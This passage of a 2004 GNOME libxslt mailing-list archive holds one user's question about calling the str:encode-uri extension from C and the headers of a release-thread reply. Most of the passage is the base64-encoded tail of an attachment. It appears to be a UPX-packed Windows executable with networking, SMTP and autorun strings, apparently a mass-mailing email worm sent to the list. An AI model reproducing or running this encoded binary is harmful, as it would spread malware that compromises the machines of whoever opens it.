AAAAAOAADwELAQUMACAAAAAQAAAAkAAA0LcAAACgAAAAwAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAADQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAALjLAAAcAgAAAMAAALgLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAJAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAA AOBVUFgxAAAAAAAgAAAAoAAAABoAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAA AMAAAAAOAAAAHgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCBcg4eQkXr/MwJUAAMkXAAAAQgAAJgAA43f3 //9Vi+xX/It9CItNDMHpAjPA4wLzqwuD4QMJ/3f/fqpfycIIACJTi10MJWoZ6AAAAqaDwGH8 ZJAp+6pLdfFbHwkwsr37L4PE/FP/dQgcIsiL2AkQ2fbvPwPYg8MQU2pADG6JRfwXDCQX5Gv/ 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAMAAAIAAAAAAAAAAAAAA AAAAAAMAAQAAAEgAAIACAAAAcAAAgAMAAACYAACAAAAAAAAAAAAAAAAAAAABAAAAAABgAAAA BMEAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAiAAAAPDDAAAoAQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAAAAALAAAAAcxQAAaAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAEAAADYAACAAAAAAAAAAAAAAAAAAAABAAAAAADwAAAAiMsAADAAAAAAAAAAAAAAAACR AAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAA AAAAAAAAAAAAAAAAAAAAAACHd3d3d3d3d3d3d3AAAAAAj/////////////9wAAAAAI////// ////////cAAAAACP///3d////////3AAAAAAj///d3d///////9wAAAAAI//8AB3f/////// cAAAAACP/wMHh3f4/////3AAAAAAj/Awf4d3j/////9wAAAAAI8DMH/4eP//////cAAAAAeA M4h/+Hd//////3AAAAB3A7cIf/h3f/iP//9wAAAAADt7CH//h3iP////cAAAMzO3twiH/4eP /////3AAA/s7e3sAB/+Hf/////9wAAP3N7e3CID/h3//////cAAD+zv7/weA/4eIiIiP/3AA A/8/v78PgP+Hf/////9wAAP7P///AI//h3//////cAAAMzu/vwh//4eP/////3AAAAADe/sH f/+H+I////9wAAAAADe/sH/4d//4j///cAAAAACDe/B/+H///////3AAAAAAjzewf/h4//// //9wAAAAAI/zeAeH/4//////cAAAAACP/zcHj//4/////3AAAAAAj//zAP//////gAAAAAAA AI///////////4/4AAAAAACP//////////+PgAAAAAAAj///////////iAAAAAAAAI////// /////4AAAAAAAACIiIiIiIiIiIiAAAAA/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wA AAP8AAAD/AAAA/gAAAPwAAAD4AAAA8AAAAOAAAADgAAAA4AAAAOAAAADgAAAA8AAAAP4AAAD /AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAB/wAAA/8AAAf/AAAP/wAAH/okwAAKAAAABAA AAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA h3d3d3dwAACP/////3AAAIAA////cAAHAzA/+P9wAIA7D4+P/3AAA7B/j///cDuL8A+PiI9w P3vwj4///3ADP7B/j4//cAAz+A+P+P9wAAM/Az///3AAAIOI//8AAAAAj////3+AAACP//// eAAAAIiIiIiAAPAAAADwAAAA8AAAAPAAAADgAAAAwAAAAIAAAAAAAAAAAAAAAIAAAADAAAAA 4AAAAPAAAADwAQAA8AMAAPAHAAAQlQAAKAAAADAAAABgAAAAAQAEAAAAAAAABgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAA AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACHd3d3d3 d3d3d3d3d3d3d3d3AAAAAAAACP/////////////////////3AAAAAAAACP////////////// ///////3AAAAAAAACP/////////////////////3AAAAAAAACP/////////////////////3 AAAAAAAACP/////////////////////3AAAAAAAACP/////3d//////////////3AAAAAAAA CP////93d3/////////////3AAAAAAAACP////AAd3f////////////3AAAAAAAACP///wMH h3f//4j////////3AAAAAAAACP//8DB/eHd/iP/////////3AAAAAAAACP//AzD/+HeI//// ///////3AAAAAAAACP/wM4j//4d////////////3AAAAAAAACP8DMwf//4d////////////3 AAAAAAAACPAzNwf//4d3////+P/////3AAAAAAAHeAM3uAf//4d3//+Ij//////3AAAAAAB3 cDt7cIf///h3+Ij////////3AAAAAAAAA7e3sIh///h3j//////////3AAAAADMzO3t7cIiH //h3///////////3AAAAA/ezt7e3sAAH//h3///////////3AAAAA/tze3t7cIiA//h3//// ///////3AAAAA/ezt7e3sIeA//h3///////////3AAAAA/vz+/v78IeA//h3iIiIiIiP///3 AAAAA/+zv7+/sI+A//h3///////////3AAAAA//z////8I+A//h3///////////3AAAAA/+z ////8AiP//h3///////////3AAAAADd3O///8If///h3///////////3AAAAAAMzO7+/8If/ //h/j//////////3AAAAAAAAA3v78If///h/+Ij////////3AAAAAAAACDe/twf//4d///+I j//////3AAAAAAAACPN79wf//4d/////+P/////3AAAAAAAACP83vwf//4f////////////3 AAAAAAAACP/ze4j//4f////////////3AAAAAAAACP//N3D/+H+I///////////3AAAAAAAA CP//83B/eP//iP/////////3AAAAAAAACP///zcHj////4j////////3AAAAAAAACP////MA //////////gAAAAAAAAAAAAACP////////////////j///94AAAAAAAACP////////////// //j///eAAAAAAAAACP////////////////j//3gAAAAAAAAACP////////////////j/94AA AAAAAAAACP////////////////j/eAAAAAAAAAAACP////////////////j3gAAAAAAAAAAA CP////////////////h4AAAAAAAAAAAACP////////////////iAAAAAAAAAAAAACP////// //////////gAAAAAAAAAAAAACIiIiIiIiIiIiIiIiIgAAAAAAAD/gAAAAAcAAP+AAAAABwAA /4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAH AAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAA AAcAAP4AAAAABwAA/AAAAAAHAAD4AAAAAAcAAPAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAA AAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADwAAAAAAcAAPgAAAAABwAA /4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAH AAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAA8AAP+AAAAAHwAA/4AAAAA/AAD/gAAA AH8AAP+AAAAA/wAA/4AAAAH/AAD/gAAAA/8AAP+AAAAH/wAA/4AAAA//AAB4mwAAAAABAAMA ICAQAAEABADoAgAAAQAQEBAAAQAEACgBAAACADAwEAABAAQAaAYAAAMAAAAAAAAAAAAAAAAA 0MwAAIDMAAAAAAAAAAAAAAAAAADdzAAAkMwAAAAAAAAAAAAAAAAAAOrMAACYzAAAAAAAAAAA AAAAAAAA98wAAKDMAAAAAAAAAAAAAAAAAAABzQAAqMwAAAAAAAAAAAAAAAAAAA3NAACwzAAA AAAAAAAAAAAAAAAAGc0AALjMAAAAAAAAAAAAAAAAAAAkzQAAwMwAAAAAAAAAAAAAAAAAADDN AADIzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8zQAASs0AAFrNAAAAAAAAaM0AAAAAAAB2zQAA AAAAAIjNAAAAAAAAls0AAAAAAACmzQAAAAAAALDNAAAAAAAAvM0AAAAAAADMzQAAAAAAAEtF Uk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAaXBobHBhcGkuZGxsAG9sZTMyLmRsbABTSEVMTDMy LmRsbABzaGx3YXBpLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAEdldE5ldHdvcmtQYXJhbXMAAENvSW5pdGlhbGl6ZQAAU2hlbGxFeGVjdXRlQQAAAFN0 ckR1cEEAAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAcmVjdgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------742836814700258-- From anonymous@community21.interfree.it Tue Feb 17 13:06:07 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from community21.interfree.it (community21.interfree.it [213.158.70.80]) by mail.gnome.org (Postfix) with ESMTP id 66A7F183D9 for ; Tue, 17 Feb 2004 13:06:06 -0500 (EST) Received: (qmail 1867 invoked by uid 320); 17 Feb 2004 18:06:02 -0000 Date: 17 Feb 2004 18:06:02 -0000 Message-ID: <20040217180602.1866.qmail@community21.interfree.it> From: spinmar@interfree.it () To: xslt@gnome.org Subject: [xslt] extension Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: spinmar@interfree.it List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi all, I have a stupid question but I can't understand how to use extensions. I have noticed (with xsltproc --dumpextensions) that the function str:encode is included. How can I use it in my c program? My xsl starts with: but the program givers me this error: xmlXPathCompOpEval: function encode-uri not found XPath error Unregistered function in str:encode-uri($str,true()) I suppose that I have to call some function in my main. Can someone tell me how to use an extension function? Thanks very much --Marco -------------------------------------------------------------------------- CONCORSO "All Friends": NAVIGA CON INTERFREE E VINCI OLTRE 5.000 PREMI HI.TECH! Iscriviti gratuitamente all'indirizzo http://promo.interfree.it naviga in internet con i nostri numeri a tariffa urbana e vinci: 3.000 Mouse ottici 1.200 Mouse ottici per notebook 600 Mouse wireless 300 Tastiere wireless + mouse wireless 150 Sistemi wireless access point completi di due pcmci card 60 Monitor LCD da 15" 18 Notebook BUONA FORTUNA! ;-) Lo Staff di Interfree -------------------------------------------------------------------------- From maparent@acm.org Tue Feb 17 17:03:40 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from smtp.istop.com (dci.doncaster.on.ca [66.11.168.194]) by mail.gnome.org (Postfix) with ESMTP id 488C918A48 for ; Tue, 17 Feb 2004 17:03:40 -0500 (EST) Received: from [66.11.172.37] (maparent.ott.istop.com [66.11.172.37]) by smtp.istop.com (Postfix) with ESMTP id EC72417C307 for ; Tue, 17 Feb 2004 17:03:38 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <20040216163116.GT12603@redhat.com> References: <20040216163116.GT12603@redhat.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <39BBC473-6195-11D8-8A07-003065D4F272@acm.org> Content-Transfer-Encoding: 7bit From: Marc-Antoine Parent Subject: Re: [xslt] Release of libxslt-1.1.3 Date: Tue, 17 Feb 2004 17:04:15 -0500 To: xslt@gnome.org X-Mailer: Apple Mail (2.612) Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org 